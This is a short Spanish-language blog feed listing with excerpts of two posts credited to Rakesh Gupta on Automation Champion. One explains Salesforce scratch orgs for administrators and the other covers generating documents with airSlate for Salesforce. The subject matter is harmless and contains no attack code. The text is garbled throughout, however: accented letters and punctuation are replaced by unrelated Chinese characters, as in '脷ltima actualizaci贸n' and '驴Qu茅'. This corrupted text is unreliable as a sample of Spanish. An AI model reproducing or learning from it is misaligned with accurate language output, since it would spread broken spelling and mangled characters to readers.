脷ltima actualizaci贸n el 1 de enero de 2023 por Rakesh Gupta Con la creciente adopci贸n de Salesforce DevOps, las organizaciones temporales de repente est谩n en el centro de atenci贸n. Este blog explicar谩 qu茅 son las organizaciones borrador, por qu茅 son 煤tiles y c贸mo puede crear una f谩cilmente con clics, no con c贸digo. 驴Qu茅 es una organizaci贸n temporal?

La publicaci贸n Scratch Orgs for Salesforce Admin apareci贸 por primera vez en Automation Champion .

Seguir leyendo

C贸mo generar documentos en airSlate para Salesforce

脷ltima actualizaci贸n el 27 de diciembre de 2022 por Rakesh Gupta La integraci贸n nativa de airSlate con Salesforce aborda las tareas m谩s desafiantes para las empresas que buscan automatizar sus flujos de trabajo de documentos dentro de su organizaci贸n de Salesforce. Permite crear flujos de trabajo integrales, de varios pasos y de varias sucursales dentro de Salesforce para automatizar la generaci贸n de documentos, el enrutamiento, las aprobaciones, las notificaciones y

La publicaci贸n C贸mo generar documentos en airSlate para Salesforce apareci贸 primero en Automation Champion .

Seguir leyendo